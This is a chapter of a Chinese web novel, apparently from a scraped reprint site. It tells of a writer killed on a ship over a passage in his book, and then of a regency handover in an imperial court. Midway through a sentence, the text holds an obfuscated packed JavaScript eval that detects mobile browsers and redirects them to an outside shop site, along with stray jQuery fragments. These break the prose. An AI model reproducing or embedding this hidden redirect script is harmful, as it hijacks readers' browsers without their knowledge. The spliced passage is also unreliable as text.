603.惡人終有惡報

作品:《比金壓卡

    電話鈴聲在午後顯得特別清晰。肖克尼拉維正在書房裡整理筆記。厚重的木桌上堆滿手稿,紙張邊緣微微捲起,像是被反覆翻閱過無數次。牆上的窗戶半開,港口傳來淡淡的鹹味與蒸汽船低沉的鳴笛聲,讓人不自覺地聯想到遠行。


    他拿起話筒。「這裡是肖克尼拉維。」


    電話那頭的聲音正式而克制,帶著訓練過的冷靜。「雅布奇·費爾斯特·肖克尼拉維先生,您好。這裡是大乾國皇室話務中心。」


    肖克尼拉維微微一愣,隨即挺直背脊。「請說。」


    「奉皇帝陛下之命,通知您一項榮譽。」話務員的語調毫無起伏,卻字字清晰,「陛下決定賜予您男爵爵位,並邀請您返回大乾國,完成相關授爵儀式。」


    短暫的沉默。


    肖克尼拉維的喉結上下滾動了一下,隨即露出自信而克制的微笑,儘管對方看不見。「……這是我的榮幸。」他語氣謙遜,「請代我向皇帝陛下致上最誠摯的感謝。」


    「相關行程與文件,將由專人協助安排。」話務員補充道,「請您於近日內啟程。」


    「我會配合。」肖克尼拉維說。


    電話掛斷後,書房重新歸於安靜。


    他站在原地許久,才慢慢吐出一口氣。爵位——這是他長久以來期待、也理所當然認為終將到來的回報。他轉身開始收拾行李,動作俐落而篤定,彷彿前方等著他的,只是另一段應得的人生。


    蒸汽船停靠在碼頭,厚重的船身覆著一層潮濕的光澤。黑煙從煙囪緩緩升起,在天空中拖出一條不規則的痕跡。


    肖克尼拉維提著行李登船,腳步穩健。船員向他點頭致意,他簡單回禮,走進分配給自己的艙房。


    船啟動後,機械運轉的震動透過地板傳來,低沉而規律。時間才過了十分鐘,艙房外忽然傳來急促的腳步聲。


    門被打開。還來不及反應,幾名陌生人已經衝了進來。粗糙的繩索纏上他的手腕與肩膀,動作熟練而冷酷。


    「你們是誰?!」肖克尼拉維怒吼,試圖掙扎,「這是什麼意思?」


    沒有人回答。


    繩索收緊,將他牢牢綁在椅子上。心跳開始加速,一種不祥的預感從脊椎往上竄。


    門再次被推開。諸葛梁走了進來,步伐沉穩。帕爾克跟在後頭,臉色蒼白,眼神卻像是被逼到角落的野獸。


    帕爾克死死盯著肖克尼拉維,牙關緊咬,雙手不自覺地顫抖。


    「你就是雅布奇·費爾斯特·肖克尼拉維吧?」諸葛梁開口,語氣平靜得近乎冷漠。


    「是。」肖克尼拉維強迫自己鎮定,「你們想做什麼?」


    諸葛梁沒有立刻回答,而是拿出手機,點開畫面。「你是不是寫過一本書,叫《偉大的國家:失落的搖籃》?」


    「是。」肖克尼拉維皺眉,「那又怎樣?」


    諸葛梁低頭看著螢幕,語氣像是在唸一段早已背熟的文字。「你在書中寫過一句話——『年老未婚或無子女者,更容易出現社會心理扭曲傾向,是潛在的不穩定因子。』」


    肖克尼拉維點頭,語氣甚至帶著一絲自信。「是的。那是基於——」


    話還沒說完。


    「我殺了你!」帕爾克猛然爆發,聲音撕裂空氣,「我殺了你!我殺了你!」


    他試圖撲上前,卻被諸葛梁一把抱住。


    「別動。」諸葛梁低聲說,語氣冷硬,「他活不了。」


    他抬頭看向侍從。「把帕爾克帶出去,從外面把門關上。」


    帕爾克被半拖半拉地帶離艙房,門關上的瞬間,裡頭傳來一聲沉悶而短促的槍響。像是世界被按下了某個不可逆的鍵。


    門再度打開時,諸葛梁走了出來,臉上沒有任何表情。


    帕爾克想衝進去,卻被攔住。


    「死人沒什麼好看的。」諸葛梁淡淡地說。


    他轉向侍從。「按照原定計畫,海葬。」


    屍體被拖上甲板,繩索纏上沉重的石頭。海浪拍擊船身,發出空洞的回音。當屍體被推入海中時,只激起短暫的水花,隨即被深藍色的海面吞沒。彷彿從未存在。


    甲板上,海風呼嘯。諸葛梁取出卡門主機,將畫著鷹的卡帶插入側邊插槽。下一瞬間,主機自動飛起,扣上他的腰際,化作腰帶。


    一道黑影在空中展開。鷹從主機中飛出,在他身旁盤旋,隨後化為面罩、盔甲與翅膀,附著在迅速生成的皮衣之上。


    他轉身。「拿繩子來。要結實的。」


    侍從迅速照辦,將他與帕爾克牢牢綑在一起。


    「船不要動。」諸葛梁說,「我把他送回團結國,然後馬上回來。」


    「是,陛下。」侍從低頭應聲。


    帕爾克一愣。「……陛下?」


    諸葛梁低下頭,壓低聲音。「我在一個遊戲裡的暱稱是『尤瑪·傑斯奇』,發音跟這個差不多。別管這些。」


    他抱起帕爾克,雙翼展開,騰空而起。風聲在耳邊炸開,海面迅速遠離。飛行了一段時間後,他們在一處無人的海灘降落。繩索被解開,帕爾克雙腿一軟,跪坐在沙地上。


    諸葛梁看著他。


    「記住,好好活下去。不要對任何人說這件事。把『E』上的那段話刪掉。媒體問起來,就說已經查明,死於難產,沒有仇人。」


    帕爾克抬起頭,眼眶通紅,卻用力點頭。「……好的。」


    下一秒,諸葛梁再次騰空,飛向遠方的大海。


    海浪依舊翻湧,像是什麼都沒有發生過。


    非洲,大乾國,皇宮主宮殿,在午後顯得格外寬闊而冷靜。


    高聳的天花板垂落著厚重的燈飾,光線被精準地控制在不刺眼、也不昏暗的程度。長桌兩側,行政院的各部會首長依序就座,紙本文件整齊地排列在桌面上,邊角對齊,沒有一張多餘的紙張。


    諸葛梁不在場。這一點,幾乎所有人都注意到了,但沒有人開口詢問。


    順子坐在主位,姿態筆直,目光平穩地掃過眾人。她的表情一如往常,看不出任何情緒起伏,彷彿這場會議只是日常流程的一部分。


    會議開始後,各部門照例進行簡短報告,語句簡潔、數據清楚,沒有人多說一句廢話。直到最後一項議程,順子抬起手,示意眾人停下。


    會議廳瞬間安靜。


    「接下來,是一項人事與國務代理的宣布。」順子開口,聲音不高,卻足以讓每一個字清楚落入眾人耳中。


    有人微微坐直了身體,有人下意識地握緊筆。


    「因為需要完成大夏國際的接管工作,我將暫時離開大乾國一段時間。」順子語氣平穩,沒有任何拖泥帶水的修辭,「在此期間,依照《國務行為臨時代理相關之法律


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141330|132887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    》,由皇后諸葛梁代為處理大乾國一切國務。」


    話音落下,會議廳內仍舊維持著一秒的靜默。這不是震驚,而是一種被訓練過的克制。


    幾位資深官員低頭翻閱文件,確認條文;年輕一點的官員則迅速在腦中盤算接下來的行政流程。沒有人質疑,也沒有人表現出多餘的情緒。


    「相關授權文件已經完成準備,會後將正式發佈。」順子補充,「在我不在期間,所有緊急與非緊急國務,請直接向皇后彙報。」


    她的目光在眾人之間停留了一瞬。「以上。」


    沒有掌聲,也不需要掌聲。


    會議在一種極其理性的氣氛中結束,官員們依序起身離席,腳步聲在地板上交錯,卻井然有序。這場會議,像是一道無聲卻明確的分界線,將權力的重心暫時移轉,卻沒有留下任何多餘的痕跡。


    夜色降臨時,皇宮顯得比白日更為寧靜。


    皇帝辦公室的門被推開,諸葛梁走了進來。


    他的外套尚未完全整理好,步伐卻依舊沉穩。室內燈光亮起,映照出桌面上熟悉的文件與擺設,彷彿他從未離開。


    順子已經坐在沙發旁,手裡拿著一杯溫熱的飲品,見他進來,只是抬眼一笑。「回來了?」


    諸葛梁點頭,走到書桌前,將隨身攜帶的物品放下,這才轉身面向她。


    「陛下,肖克尼拉維的事情已經解決了。」他的語氣低沉而簡短,像是在報告一件早已完成、且不需要再討論的公事。


    順子沒有追問細節,只是輕輕點了點頭。「我知道了。」她說,接著語氣一轉,唇角帶著若有似無的笑意,「那也解決一下我的『事情』吧。」


    這句話說得輕描淡寫,卻刻意留下一個曖昧的空隙。


    諸葛梁沉默了一瞬。他伸手按了按眉心,呼出一口長氣,像是終於允許自己感受到疲憊。「今天太累了。」他直白地說,「明天吧。」


    順子看著他,沒有任何不悅,反而笑得更柔和了一些。「好吧。」她點頭,語氣裡帶著縱容,「明天。」


    燈光映在兩人之間,沒有多餘的言語。這是一種不需要解釋的默契,也是一種只有在權力與親密交織之處,才會存在的沉默。


    清晨的碼頭,被薄霧包圍。


    海面平靜,遠方的天色還未完全亮起,只透出一線灰藍色的光。蒸汽船停泊在岸邊,船身低低地鳴響,像是在為即將到來的航程做最後的準備。


    順子站在登船口,身上是便於行動的外出服裝,沒有多餘的裝飾。她回頭看了一眼站在碼頭上的諸葛梁。


    「權力交接完成之後,」諸葛梁開口,語氣嚴肅卻不失關切,「找到真正能經營企業的職業經理人,請立即返回。」


    順子揮了揮手,像是在驅散過於正式的氣氛。


    「知道啦!」她笑著回應,語氣輕快,「我又不是第一次出遠門。」


    她轉身踏上船板,沒有回頭。


    船隻緩緩啟動,繩索被解開,船身離開碼頭,向著霧氣深處前進。蒸汽聲逐漸遠去,只留下海浪拍岸的聲音,一下,又一下。


    諸葛梁站在原地,直到船影徹底消失在視線之中。風從海面吹來,帶著濕潤的氣息。他沒有立刻離開,只是靜靜地站著,彷彿在心中為接下來即將獨自承擔的一切,做最後的整理。


    天色,終於完全亮了。